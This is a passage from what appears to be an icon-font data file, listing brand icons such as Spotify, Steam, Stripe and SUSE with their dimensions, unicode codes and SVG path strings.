17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z"],
	"snapchat-square": [448, 512, [], "f2ad", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"],
	"soundcloud": [640, 512, [], "f1be", "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"],
	"sourcetree": [448, 512, [], "f7d3", "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"],
	"speakap": [448, 512, [], "f3f3", "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"],
	"speaker-deck": [512, 512, [], "f83c", "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"],
	"spotify": [496, 512, [], "f1bc", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"],
	"squarespace": [512, 512, [], "f5be", "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"],
	"stack-exchange": [448, 512, [], "f18d", "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"],
	"stack-overflow": [384, 512, [], "f16c", "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"],
	"stackpath": [448, 512, [], "f842", "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"],
	"staylinked": [440, 512, [], "f3f5", "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"],
	"steam": [496, 512, [], "f1b6", "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"],
	"steam-square": [448, 512, [], "f1b7", "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"],
	"steam-symbol": [448, 512, [], "f3f6", "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"],
	"sticker-mule": [576, 512, [], "f3f7", "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"],
	"strava": [384, 512, [], "f428", "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"],
	"stripe": [640, 512, [], "f429", "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"],
	"stripe-s": [384, 512, [], "f42a", "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"],
	"studiovinari": [512, 512, [], "f3f8", "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"],
	"stumbleupon": [512, 512, [], "f1a4", "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"],
	"stumbleupon-circle": [496, 512, [], "f1a3", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"],
	"superpowers": [448, 512, [], "f2dd", "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"],
	"supple": [640, 512, [], "f3f9", "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"],
	"suse": [640, 512, [], "f7d6", "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 